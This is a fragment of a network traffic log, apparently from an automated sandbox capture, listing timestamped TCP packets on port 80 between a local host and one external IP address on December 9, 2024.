Dec 9, 2024 18:20:40.036164045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.036176920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.036215067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.036969900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.036982059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.037019968 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.037727118 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.037772894 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.037910938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.037952900 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.038856983 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.038871050 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.038903952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.038922071 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.039942026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.039993048 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.040085077 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.040123940 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.041026115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.041085005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.041172028 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.041208029 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.042232037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.042279005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.042541027 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.042582035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.043318987 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.043366909 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.043504000 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.043539047 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.044346094 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.044395924 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.044653893 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.044696093 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.045540094 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.045582056 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.045881987 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.045919895 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.046396017 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.046437979 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.046575069 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.046614885 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.047534943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.047580957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.047728062 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.047768116 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.048546076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.048589945 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.048732996 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.048769951 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.049720049 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.049742937 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.049770117 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.049794912 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.050937891 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.050983906 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.051053047 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.051090956 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.051914930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.051975012 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.052058935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.052094936 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.053133965 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.053177118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.053314924 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.053352118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.055417061 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.055434942 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.055453062 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.055464029 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.055466890 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.055485010 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.055500031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.055510998 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.055670023 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.055684090 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.055707932 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.055721045 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.066662073 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.066729069 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.066793919 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.066834927 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.066988945 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.067002058 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.067092896 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.067150116 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.067189932 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.067486048 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.067527056 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.067903996 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.067944050 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.101556063 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.101651907 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.101716042 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.101752996 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.101855040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.101901054 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.102025032 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.102070093 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.102911949 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.102957964 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.103092909 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.103135109 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.103908062 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.103952885 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.104088068 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.104132891 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.104851961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.104895115 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.104998112 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.105036020 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.122266054 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.122322083 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.122391939 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.122436047 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.122574091 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.122620106 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.122767925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.122812986 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.123662949 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.123709917 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.162928104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.163005114 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.163100004 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.163110971 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.163136959 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.163156033 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.163219929 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.163256884 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.163976908 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.164027929 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.164146900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.164189100 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.164783001 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.164829016 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.164925098 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.164968014 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.165749073 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.165791988 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.165930986 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.165971994 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.166583061 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.166626930 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.166727066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.166768074 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.166829109 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.166841984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.166878939 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.169258118 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.169305086 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.169406891 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.169447899 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.170221090 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.170233011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.170264959 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.170990944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.171010971 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.171030998 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.171056032 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.172075987 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.172121048 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.172264099 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.172312975 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.173156023 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.173197985 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.173589945 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.173630953 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.174374104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.174417019 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.174566984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.174607992 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.175493956 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.175538063 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.175679922 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.175724030 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.176354885 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.176402092 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.176639080 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.176677942 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.177736044 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.177779913 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.178077936 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.178118944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.178709984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.178750038 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.178858042 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.178899050 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.179605007 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.179651022 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.179821968 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.179868937 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.180589914 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.180603027 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.180629969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.180644035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.181412935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.181428909 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.181457043 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.181468010 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.182137012 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.182188034 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.182312965 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.182356119 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.188484907 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.188539982 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.188658953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.188700914 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.189008951 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.189054012 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.189358950 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.189402103 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.189551115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.189596891 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.189907074 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.189955950 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.190185070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.190227985 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.190993071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.191035986 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.225969076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.226092100 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.226130962 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.226169109 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.226591110 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.226607084 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.226629019 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.226648092 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.227320910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.227368116 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.227801085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.227848053 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.228293896 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.228338003 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.228638887 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.228650093 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.228679895 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.229537010 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.229579926 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.229682922 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.229727983 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.230669975 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.230686903 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.230705023 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.230726004 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.245537996 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.245552063 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.245592117 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.245609045 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.245702028 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.245740891 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.245879889 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.245928049 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.246064901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.246381044 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.247020960 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.247061014 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.287108898 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.287169933 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.287237883 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.287249088 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.287276983 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.287288904 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.287374973 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.287411928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.288180113 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.288224936 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.288372040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.288417101 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.289026022 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.289037943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.289081097 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.289081097 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.291873932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.291923046 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.292042971 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.292085886 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.292695045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.292740107 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.292891026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.292932987 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.293836117 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.293879986 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.294023991 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.294065952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.295329094 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.295371056 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.295614958 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.295660019 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.296777964 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.296824932 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.296960115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.297004938 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.298300982 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.298346043 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.298648119 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.298691034 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.299355030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.299397945 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.299536943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.299573898 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.300354004 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.300367117 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.300400972 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.300414085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.301296949 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.301311016 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.301348925 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.301867008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.301882029 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.301912069 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.301937103 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.302624941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.302670002 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.302800894 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.302843094 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.303767920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.303817987 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.303935051 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.303981066 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.304495096 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.304538012 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.304656029 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.304701090 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.305187941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.305232048 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.305356026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.305401087 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.306449890 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.306493044 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.306612015 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.306652069 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.307563066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.307604074 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.307743073 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.307790995 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.308510065 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.308552980 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.317864895 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.317922115 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.318026066 CET	80	49788	185.215.113.206	192.168.2.6
